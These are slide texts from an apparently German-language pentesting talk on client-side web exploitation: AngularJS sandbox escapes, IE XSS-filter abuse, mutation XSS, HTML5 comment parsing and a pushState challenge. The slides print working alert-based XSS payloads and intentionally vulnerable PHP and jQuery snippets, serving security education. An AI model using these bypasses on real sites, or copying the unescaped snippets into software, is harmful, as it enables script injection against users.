Exploiting the Client side hell of the web Msc Alexander Inführ
whoami MSc Alexander Inführ Pentester bei Cure53 Browser Security Web Security PDF Security
AngularJS Superheroic JavaScript MVVM Framework Ein JavaScript MVVM Framework Für dynamische Client Based Web Applikationen Verwendet Templates
<html ng-app> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"> </script> <body> <div> <label>name:</label> <input type="text" ng-model="yourname" placeholder="enter a name here"> <hr> <h1>hello {{yourname}}!</h1> <?php echo $_GET[ x ];?> </div> </body>
URL: /angular.php?x={{99-33}}
Break out of the sandbox {{99-33}} evaluates zu 66 Funktioniert an jedem Ort im HTML Dokument Benötigt keine normalen XSS HTML Zeichen (eg. < >) Bypassed dadurch viele Filter Sandbox kein Zugriff auf echtes Window object {{alert(location);alert(document.cookie)}} => Nicht erlaubt Viele Sandbox escapes öffentlich: Zugriff auf constructor.constructor Manipulation von nativen Funktionen (tostring etc.)
Beispiele {{constructor.constructor('alert(1)')()}} {{'a'.constructor.prototype.charat=''.valueof;$eval("x='\"+(y='if(! window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} {{ }} {}[{tostring:[].join,length:1,0:' proto '}].assign=[].join; 'a'.constructor.prototype.charat=''.valueof; $eval('x=alert(1)//'); http://blog.portswigger.net/2016/01/xss-without-html-client-sidetemplate.html
Latest News AngularJS droppt den Support für Sandbox Nie als Sicherheitsfeature gedacht Ständig neue Bypasses Zu viel Overhead Für Pentester: AngularJS Injection einfach zu exploiten
XXN X-XSS-Nightmare Präsentiert von Masato Kinugawa X-XSS-Protection: 1 0: Kein XSS Filter 1: Rewriting + Webseite parsen (Default) 1; mode=block: XSS erkannt => Webseite wird nicht weiter geparsed => Blank Page Targets Internet Explorer XSS Filter
IE XSS Filters Liste von Regex Regeln Überprüft URL, Header Values und Post Payloads Value Reflected in Server Response: XSS detected Angewandt führ verschiedene Kontexte: CSS Script tags In JavaScript Blocks
Reflected XSS Example URL: /?x=<svg onload=alert(1)>
Reflected XSS Filter IE XSS Filter Match /?x=<svg onload=alert(1) URL Payload matches in HTML Response XSS Attack detected -> Rewrite Payload
Take Away Einige XXN Bugs bereits gefixed X-XSS-Protection: 1 kann sichere Webseiten unsicher machen
MXSS Mario Heiderich innerhtml Apocalypse DOM Based XSS Mutation des Payloads via innerhtml etc.
Example IE 11 x.innerhtml => </style><img src=1 onerror=alert(1)> IE 9 x.innerhtml => <img onerror="alert(1)" src="1">
DOM IE 9 Mode IE DOM Explorer Broken zeigt nicht richtigen DOM innerhtml decodierte < und > <img> wird danach geparsed und onerror ausgeführt
Nicht nur IE betroffen Viele Beispiele sind mittlerweile gefixed MXSS eine große Gefahr für XSS Filter Eg. Google Caja Ab und zu werden noch neue Varianten entdeckt
HTML5 Komment Parsing HTML5 Viele neue Features! HTML 5 Komment Parsing Nicht sehr bekannt Wirkt wie ein Bug
<!DOCTYPE html> <body> <script> var a = "INJECTION1"</script><script> var b = "INJECTION2"</script> </body> Filter Keine Anführungszeichen " </script> nicht erlaubt Kein Backslash New Lines sind erlaubt
Lösung <!DOCTYPE html> <body> <script> var a = "<!--<script>"</script><script> var b = "/+alert(1) -->" </script> </body> Das Verhalten lässt sich noch optimieren
Abwandlung Alert außerhalb des Skript Tags! <!DOCTYPE html> <body> <script> var a = "<!--<script>"</script>/+alert(1) --></script> </body>
Erklärung <script> var a = "<!--<script>anything"</script><script> var b = "/+alert(1) -->" </script> Parsed Content: </script><script> var b = "/+alert(1) -->" Blau: Less Then operator Rot: Regular Expression Orange: Kommentar für Unterminated String Error
XSS via location.pathname http://example.com/test/ >/dddd Location.pathname "/test/%22'%3e/dddd Oft verwendet in Tracking Code
Challenge Jquery + Jquery Mobile wird geladen Jqery Mobile pushstateenabled Location.hash endet in history.pushstate History.pushState erlaubt es einen neuen Pfad zu setzen, der nicht geladen wird. Same Origin
The vulnerable code <script> $(document).ready(function() { $('body').append( ' <img class="log" src="/payloadlogger?url=' + location.protocol + "//" + location.host + location.pathname + escape(location.search) + escape(location.hash) + '">'); }) </script>
Solution Internet Explorer only http://challenge/challenge.html#mhtml:http://challenge/challenge.ht ml history.pushstate({},{},'mhtml:http://challenge /challenge.html"><svg onload=alert(1)>') location.pathname => http://challenge/challenge.html"><svg onload=alert(1)>
URLS http://l0.cm/xxn/ http://de.slideshare.net/x00mario/the-innerhtml-apocalypse https://github.com/cure53/xsschallengewiki/wiki/shibuya.xss- JIZEN-GAKUSHU-Challenge https://www.youtube.com/watch?v=wzrojhhyqwc